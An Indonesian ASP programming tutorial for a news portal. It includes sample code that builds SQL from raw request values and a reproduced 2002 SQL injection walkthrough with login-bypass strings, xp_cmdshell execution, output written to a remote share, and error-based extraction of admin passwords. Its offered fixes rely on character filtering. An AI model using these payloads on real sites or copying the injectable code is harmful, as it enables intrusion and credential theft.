<% Dim idberita If periksalogin() = 0 then Response.Redirect("index.asp") End If idberita = Request.QueryString("idberita") %> <html> <head> <title>View Berita</title> </head> <% Dim rs set rs = Server.CreateObject("ADODB.RecordSet") If Session("Level") = "R" Then SSQL = "Select * From Berita Where id=" & idberita & "And Status ='N';" Else SSQL = "Select * From Berita Where id=" & idberita & "And Username ='" & session("Username") & "';" End If rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic If not rs.eof then %> <p><% =rs("JUDUL") %></p> <p><% =rs("WAKTU") %></p> <p><% =rs("RINGKASAN") %></p> <p><% =rs("ISI") %></p> <% End IF rs.close %> </table> <body> <center> <p></p> </center> </body> </html>
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Project Portal Berita

ASP AdRotator Component
Komponen ASP AdRotator membuat suatu object AdRotator yang menampilkan gambar yang berbeda setiap seorang user menampilkan atau melakukan refresh terhadap sebuah halaman. Sebuah text file dibutuhkan untuk menyimpan informasi dari gambar-gambar. Buatlah sebuah file ads.txt dan simpan ke folder dbo REDIRECT ads.asp * images/banner1.gif http://www.w3schools.com/ Visit W3Schools 80 images/banner2.gif http://www.microsoft.com/ Visit Microsoft 20 REDIRECT ads.asp, adalah file yang akan dipanggil ketika pemakai melakukan klik terhadap banner yang ditampilkan. angka 80 dan 20 dalam hal ini adalah perbandingan probabilitas kemunculan banner yaitu 80% banding 20%. Ketik script berikut dan simpan dengan nama "ads.asp", simpan ke folder anda, dan laukuan browse. <% url=Request.QueryString("url") If url<>"" then Response.Redirect(url) %> <html> <body> <% set adrotator=Server.CreateObject("MSWC.AdRotator") response.write(adrotator.GetAdvertisement("dbo/ads.txt")) %> </body> </html>
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Contoh file berita.asp  <html> <head> <title>Indonesia Terkini</title> </head> <body> <center> <table border="0" width="620"> <tr> <td width="200"> <img border="0" src="images/logo.gif" width="165" height="76"></td> <td width="420"> <% set adrotator=Server.CreateObject("MSWC.AdRotator") response.write(adrotator.GetAdvertisement("dbo/ads.txt")) %> </td> </tr> <tr> <td colspan="2"><hr></td> </tr> <% Dim rs set rs = Server.CreateObject("ADODB.RecordSet") SSQL = "Select Top 10 * From Berita Where Status = 'A' Order by Waktu DESC;" rs.Open sSQL,Application("Connection"),adOpenForwardOnly,adLockOptimistic do while not rs.Eof %> <tr> <td> </td> <td> </td> </tr> <tr> <td> </td> <td> <p><% =rs("Waktu") %><br>
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<a href="goto.asp?id=<% =rs("Id") %>"><% =rs("Judul") %></a><br> <% =rs("ringkasan") %></p> </td> </tr> <% rs.movenext loop %> <tr> <td colspan="2"><hr></td> </tr> <tr> <td colspan="2"> <p align="center">(c) Indonesia terkini</td> </tr> </table> </center> </body> <% rs.close %> </html> Membuka berita ke halaman lain dengan javascript. <a href=# onClick='window.open("goto.asp?id=<% =rs("Id") %>","Goto","");return false;'>
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Koneksi ASP dengan SQL Server

Berikut ini adalah contoh file Global.asa yang membuka koneksi ke suatu SQL server
<script language="vbscript" runat="server"> Sub Application_OnStart Dim Connection Dim ConnectionString Set Connection = Server.Createobject("ADODB.Connection") Connection.ConnectionTimeout = 30 Connection.CommandTimeout = 80 Connection.Mode = adModeReadWrite ConnectionString = "Provider=SQLOLEDB.1;Password=password;Persist Security Info=True;User ID=sa;Initial Catalog=databasename;Data Source=sqlservername" Connection.Open ConnectionString Set Application("Connection") = Connection Application("visitors")=0 End Sub Sub Session_OnStart Application.Lock Application("visitors")=Application("visitors")+1 Application.UnLock Application("Connection").Execute "Update Visitor Set Visitor=Visitor+1, Lasttime = GetDate();" Session.TimeOut = 5 End Sub Sub Session_OnEnd Application.Lock Application("visitors")=Application("visitors")-1 Application.UnLock End Sub
Sub Application_OnEnd Application("connection").close End Sub </script>
Contoh menjalankan Stored Procedure dengan Command

Const adCmdText = 1 Dim comm set comm = Server.CreateObject("ADODB.Command") set comm.activeconnection = Application("Connection") comm.commandtype = adCmdText comm.commandtext = "Exec REJECT_H0_AHM_DEALERS_ARTEMP " & id & ",'" & AmbilLevel() & "','" & keteranganapprove & "','" & Session("Username") & "'"
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comm.execute
Oleh : Hendra, ST.
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Masalah SQL Injection

Salah satu permasalahan dalam pemakaian perintah SQL dalam Server Side Include adalah SQL Injection, sebagai mana anda ketahui bahwa dalam ASP Script kita banyak menggunakan perintah SQL, dan perintah SQL tersebut akan dikonstruksi pada saat Runtime berdasarkan request dari pemakai, maka resiko SQL Injection akan terjadi. Contoh : Misalnya kita menggunakan SQL Statement berikut ini untuk pemeriksaan username dan password.
SSQL = "Select count(*) as Ada From Operator Where Username='" & Username & "' And Password='" & Password & "';"
Username = tidak tahu Password = ' Or '1' = '1 Maka pada saat runtime konstruksi dari perintah SQL akan berubah menjadi : Select count(*) as Ada From Operator Where Username='tidak tahu' And Password='' Or '1'='1'; Yang jika dievaluasi akan menghasilkan nilai True untuk sembarang Username, karena logika '1'='1' selamanya menghasilkan nilai True. Solusi : Buatlah sebuah function sebagai berikut : Function PeriksaString(x) PeriksaString = Replace(Replace(x,"'","''"),";","") End Function
SSQL = "Select count(*) as Ada From Operator Where Username='" & PeriksaString(Username) & "' And Password='" & PeriksaString(Password) & "';"
Solusi diatas dilakukan dengan menganti semua petik tunggal dengan dua petik tunggal, dan membuang tanda ;. Sehingga kalau metode SQL Injection dilakukan akan menghasilkan konstruksi sql sebagai berikut :
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Select count(*) as Ada From Operator Where Username='tidak tahu' And Password=''' Or ''1''=''1';
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SQL Injection Walkthrough
26 May 2002
Summary The following article will try to help beginners with grasping the problems facing them while trying to utilize SQL Injection techniques, to successfully utilize them, and to protect themselves from such attacks. Credit: The information has been provided by SK. Details 1.0 Introduction When a machine has only port 80 opened, your most trusted vulnerability scanner cannot return anything useful, and you know that the admin always patch his server, we have to turn to web hacking. SQL injection is one of type of web hacking that require nothing but port 80 and it might just work even if the admin is patch-happy. It attacks on the web application (like ASP, JSP, PHP, CGI, etc) itself rather than on the web server or services running in the OS. This article does not introduce anything new, SQL injection has been widely written and used in the wild. We wrote the article because we would like to document some of our pen-test using SQL injection and hope that it may be of some use to others. You may find a trick or two but please check out the "9.0 Where can I get more info?" for people who truly deserve credit for developing many techniques in SQL injection. 1.1 What is SQL Injection? It is a trick to inject SQL query/command as an input possibly via web pages. Many web pages take parameters from web user, and make SQL query to the database. Take for instance when a user login, web page that user name and password and make SQL query to the database to check if a user has valid name and password. With SQL Injection, it is possible for us to send crafted user name and/or password field that will change the SQL query and thus grant us something else. 1.2 What do you need? Any web browser. 2.0 What you should look for? Try to look for pages that allow you to submit data, i.e: login page, search page, feedback, etc. Sometimes, HTML pages use POST command to send parameters to another ASP page. Therefore, you may not see the parameters in the URL. However, you can check the source code of the HTML, and look for "FORM" tag in the HTML code. You may find something like this in some HTML codes: <FORM action=Search/search.asp method=post> <input type=hidden name=A value=C> </FORM> Everything between the <FORM> and </FORM> have potential parameters that might be useful (exploit wise).
2.1 What if you can't find any page that takes input? You should look for pages like ASP, JSP, CGI, or PHP web pages. Try to look especially Indoprog 42
Pemanfaatan ASP untuk web programming for URL that takes parameters, like: http://duck/index.asp?id=10 3.0 How do you test if it is vulnerable? Start with a single quote trick. Input something like: hi' or 1=1-Into login, or password, or even in the URL. Example: - Login: hi' or 1=1-- Pass: hi' or 1=1-- http://duck/index.asp?id=hi' or 1=1--
Oleh : Hendra, ST.
If you must do this with a hidden field, just download the source HTML from the site, save it in your hard disk, modify the URL and hidden field accordingly. Example: <FORM action=http://duck/Search/search.asp method=post> <input type=hidden name=A value="hi' or 1=1--"> </FORM> If luck is on your side, you will get login without any login name or password. 3.1 But why ' or 1=1--? Let us look at another example why ' or 1=1-- is important. Other than bypassing login, it is also possible to view extra information that is not normally available. Take an asp page that will link you to another page with the following URL: http://duck/index.asp?category=food In the URL, 'category' is the variable name, and 'food' is the value assigned to the variable. In order to do that, an ASP might contain the following code (OK, this is the actual code that we created for this exercise): v_cat = request("category") sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'" set rs=conn.execute(sqlstr) As we can see, our variable will be wrapped into v_cat and thus the SQL statement should become: SELECT * FROM product WHERE PCategory='food' The query should return a resultset containing one or more rows that match the WHERE condition, in this case, 'food'.
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Pemanfaatan ASP untuk web programming Now, assume that we change the URL into something like this: http://duck/index.asp?category=food' or 1=1--
Oleh : Hendra, ST.
Now, our variable v_cat equals to "food' or 1=1-- ", if we substitute this in the SQL query, we will have: SELECT * FROM product WHERE PCategory='food' or 1=1--' The query now should now select everything from the product table regardless if PCategory is equal to 'food' or not. A double dash "--" tell MS SQL server ignore the rest of the query, which will get rid of the last hanging single quote ('). Sometimes, it may be possible to replace double dash with single hash "#". However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try ' or 'a'='a The SQL query will now become: SELECT * FROM product WHERE PCategory='food' or 'a'='a' It should return the same result. Depending on the actual SQL query, you may have to try some of these possibilities: ' or 1=1-" or 1=1-or 1=1-' or 'a'='a " or "a"="a ') or ('a'='a 4.0 How do I get remote execution with SQL injection? Being able to inject SQL command usually mean, we can execute any SQL query at will. Default installation of MS SQL Server is running as SYSTEM, which is equivalent to Administrator access in Windows. We can use stored procedures like master..xp_cmdshell to perform remote execution: '; exec master..xp_cmdshell 'ping 10.10.1.2'-Try using double quote (") if single quote (') is not working. The semi colon will end the current SQL query and thus allow you to start a new SQL command. To verify that the command executed successfully, you can listen to ICMP
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packet from 10.10.1.2, check if there is any packet from the server: #tcpdump icmp If you do not get any ping request from the server, and get error message indicating permission error, it is possible that the administrator has limited Web User access to these stored procedures. 5.0 How to get output of my SQL query? It is possible to use sp_makewebtask to write your query into an HTML: '; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES" But the target IP must folder "share" sharing for Everyone. 6.0 How to get data from the database using ODBC error message We can use information from error message produced by the MS SQL Server to get almost any data we want. Take the following page for example: http://duck/index.asp?id=10 We will try to UNION the integer '10' with another string from the database: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-The system table INFORMATION_SCHEMA.TABLES contains information of all tables in the server. The TABLE_NAME field obviously contains the name of each table in the database. It was chosen because we know it always exists. Our query: SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLESThis should return the first table name in the database. When we UNION this string value to an integer 10, MS SQL Server will try to convert a string (nvarchar) to an integer. This will produce an error, since we cannot convert nvarchar to int. The server will display the following error: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int. /index.asp, line 5 The error message is nice enough to tell us the value that cannot be converted into an integer. In this case, we have obtained the first table name in the database, which is "table1".
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To get the next table name, we can use the following query: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')-We also can search for data using LIKE keyword: http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int. /index.asp, line 5 The matching patent, '%25login%25' will be seen as %login% in SQL Server. In this case, we will get the first table name that matches the criteria, "admin_login". 6.1 How to mine all column names of a table? We can use another useful table INFORMATION_SCHEMA.COLUMNS to map out all columns name of a table: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int. /index.asp, line 5 Now that we have the first column name, we can use NOT IN () to get the next column name: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the
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Pemanfaatan ASP untuk web programming nvarchar value 'login_name' to a column of data type int. /index.asp, line 5
Oleh : Hendra, ST.
When we continue further, we obtained the rest of the column name, i.e. "password", "details". We know this when we get the following error message: http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e14' [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator. /index.asp, line 5 6.2 How to retrieve any data we want? Now that we have identified some important tables, and their column, we can use the same technique to gather any information we want from the database. Now, let's get the first login_name from the "admin_login" table: http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int. /index.asp, line 5 We now know there is an admin user with the login name of "neo". Finally, to get the password of "neo" from the database: http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'-Output: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int. /index.asp, line 5 We can now login as "neo" with his password "m4trix".
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6.3 How to get numeric string value? There is limitation with the technique describe above. We cannot get any error message if we are trying to convert text that consists of valid number (character between 0-9 only). Let say we are trying to get password of "trinity" which is "31173": http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'-We will probably get a "Page Not Found" error. The reason being, the password "31173" will be converted into a number, before UNION with an integer (10 in this case). Since it is a valid UNION statement, SQL server will not throw ODBC error message, and thus, we will not be able to retrieve any numeric entry. To solve this problem, we can append the numeric string with some alphabets to make sure the conversion fail. Let us try this query instead: http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'-We simply use a plus sign (+) to append the password with any text we want. (ASSCII code for '+' = 0x2b). We will append '(space)morpheus' into the actual password. Therefore, even if we have a numeric string '31173', it will become '31173 morpheus'. By manually calling the convert() function, trying to convert '31173 morpheus' into an integer, SQL Server will throw out ODBC error message: Microsoft OLE DB Provider for ODBC Drivers error '80040e07' [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int. /index.asp, line 5 Now, you can even login as 'trinity' with the password '31173'. 7.0 How to update/insert data into the database? When we successfully gather all column name of a table, it is possible for us to UPDATE or even INSERT a new record in the table. For example, to change password for "neo": http://duck/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'-To INSERT a new record into the database: http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')-We can now login as "neo2" with the password of "newpas5".
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8.0 How to avoid SQL Injection? Filter out character like single quote, double quote, slash, back slash, semi colon, extended character like NULL, carry return, new line, etc, in all strings from: - Input from users - Parameters from URL - Values from cookie For numeric value, convert it to an integer before parsing it into SQL statement. Or using ISNUMERIC to make sure it is an integer. Change "Startup and run SQL Server" using low privilege user in SQL Server Security tab. Delete stored procedures that you are not using like: master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask
9.0 Where can I get more info? One of the earliest works on SQL Injection we have encountered should be the paper from Rain Forest Puppy about how he hacked PacketStorm. http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6 Great article on gathering information from ODBC error messages: http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc A good summary of SQL Injection on various SQL Server on http://www.owasp.org/asac/input_validation/sql.shtml Senseport's article on reading SQL Injection: http://www.sensepost.com/misc/SQLinsertion.htm Other worth readings: http://www.digitaloffense.net/wargames01/IOWargames.ppt http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6 http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6 http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf
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Introduction To ASP

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Introduction To ASP

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Pemanfaatan ASP untuk web programming

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What you should already know

ASP singkatan dari Active Server Pages

Pemanfaatan ASP untuk web programming

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What is an ASP File?

How Does ASP Differ from HTML?

What can ASP do for you?

How to install IIS and run ASP on Windows 2000

Pemanfaatan ASP untuk web programming 2. 3. 4. 5. 6. 7. 8.

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How to install IIS and run ASP on Windows XP Professional

Pemanfaatan ASP untuk web programming 6. 7. 8. 9.

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Halaman ASP anda yang pertama ... Step by Step

The Basic Syntax Rule

Tata Cara Penulisan ASP

Pemanfaatan ASP untuk web programming - Text

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Pemanfaatan ASP untuk web programming

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The Response Object

Pemanfaatan ASP untuk web programming

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dan ketik script berikut ke testterima2.asp

Pemanfaatan ASP untuk web programming

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Simple database Access using ADO and ASP

Update Using SQL Statement

Pemanfaatan ASP untuk web programming

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Show Table Records Using Recordset

Anda dapat juga mengambil isi recordset dengan rs("namafield")

Pemanfaatan ASP untuk web programming

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The #include Directive

How to Use the #include Directive

Pemanfaatan ASP untuk web programming

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Pemanfaatan ASP untuk web programming

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Pemanfaatan ASP untuk web programming

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How to Create a Cookie

How to Retrieve a Cookie Value

Program AddLogin.asp New Login Username

Pemanfaatan ASP untuk web programming Password Retype

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Pemanfaatan ASP untuk web programming

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Pemanfaatan ASP untuk web programming

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ASP The Global.asa file

The Global.asa file

Application events Session events <object> declarations

Pemanfaatan ASP untuk web programming

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Pemanfaatan ASP untuk web programming

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Hasil modifikasi pada "mylib.asp":

Pemanfaatan ASP untuk web programming Hasil modifikasi pada login.asp :

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